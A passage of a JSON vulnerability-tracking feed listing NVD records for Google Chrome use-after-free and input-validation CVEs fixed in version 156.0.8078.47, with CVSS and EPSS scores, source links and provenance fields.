Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113087","asOf":"2026-10-22T15:34:11.973Z"},"epss":{"probability":0.0038,"percentile":0.31709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113087&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113087","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113087","type":"primary","publishedAt":"2026-10-20T22:19:00.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113087&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113087, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113086","cveId":"CVE-2026-113086","aliases":[],"kind":"vulnerability","title":"Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.267Z","updatedAt":"2026-10-22T15:34:29.117Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113086","asOf":"2026-10-22T15:34:29.117Z"},"epss":{"probability":0.0037,"percentile":0.30631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113086","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113086","type":"primary","publishedAt":"2026-10-20T22:19:00.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113085","cveId":"CVE-2026-113085","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.163Z","updatedAt":"2026-10-22T15:34:33.293Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113085","asOf":"2026-10-22T15:34:33.293Z"},"epss":{"probability":0.00378,"percentile":0.31466,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113085","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113085","type":"primary","publishedAt":"2026-10-20T22:19:00.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113081","cveId":"CVE-2026-113081","aliases":[],"kind":"vulnerability","title":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.710Z","updatedAt":"2026-10-22T15:34:43.093Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113081","asOf":"2026-10-22T15:34:43.093Z"},"epss":{"probability":0.0038,"percentile":0.31709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113081","type":"primary","publishedAt":"2026-10-20T22:18:59.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113075","cveId":"CVE-2026-113075","aliases":[],"kind":"vulnerability","title":"Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.053Z","updatedAt":"2026-10-21T21:04:13.910Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113075","asOf":"2026-10-21T21:04:13.910Z"},"epss":{"probability":0.00417,"percentile":0.35725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113075","type":"primary","publishedAt":"2026-10-20T22:18:59.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113074","cveId":"CVE-2026-113074","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.947Z","updatedAt":"2026-10-21T19:30:34.947Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113074","asOf":"2026-10-21T19:30:34.947Z"},"epss":{"probability":0.00426,"percentile":0.36569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113074","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113074","type":"primary","publishedAt":"2026-10-20T22:18:58.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113073","cveId":"CVE-2026-113073","aliases":[],"kind":"vulnerability","title":"Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.837Z","updatedAt":"2026-10-21T21:04:39.693Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113073","asOf":"2026-10-21T21:04:39.693Z"},"epss":{"probability":0.00471,"percentile":0.40499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113073","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113073","type":"primary","publishedAt":"2026-10-20T22:18:58.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113071","cveId":"CVE-2026-113071","aliases":[],"kind":"vulnerability","title":"Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.623Z","updatedAt":"2026-10-21T19:30:12.427Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113071","asOf":"2026-10-21T19:30:12.427Z"},"epss":{"probability":0.00427,"percentile":0.3665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113071","type":"primary","publishedAt":"2026-10-20T22:18:58.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113069","cveId":"CVE-2026-113069","aliases":[],"kind":"vulnerability","title":"Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.400Z","updatedAt":"2026-10-21T17:10:10.520Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113069","asOf":"2026-10-21T17:10:10.520Z"},"epss":{"probability":0.0037,"percentile":0.3063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113069","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113069","type":"primary","publishedAt":"2026-10-20T22:18:58.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113068","cveId":"CVE-2026-113068","aliases":[],"kind":"vulnerability","title":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.290Z","updatedAt":"2026-10-21T17:10:14.037Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113068","asOf":"2026-10-21T17:10:14.037Z"},"epss":{"probability":0.00417,"percentile":0.35723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113068","type":"primary","publishedAt":"2026-10-20T22:18:58.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113067","cveId":"CVE-2026-113067","aliases":[],"kind":"vulnerability","title":"Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Chromoting in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:58.173Z","updatedAt":"2026-10-21T17:10:17.823Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113067","asOf":"2026-10-21T17:10:17.823Z"},"epss":{"probability":0.00417,"percentile":0.35725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113067&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113067","type":"primary","publishedAt":"2026-10-20T22:18:58.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113067&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113067, scored 2026-10-25. This is a model estimate, not proof of 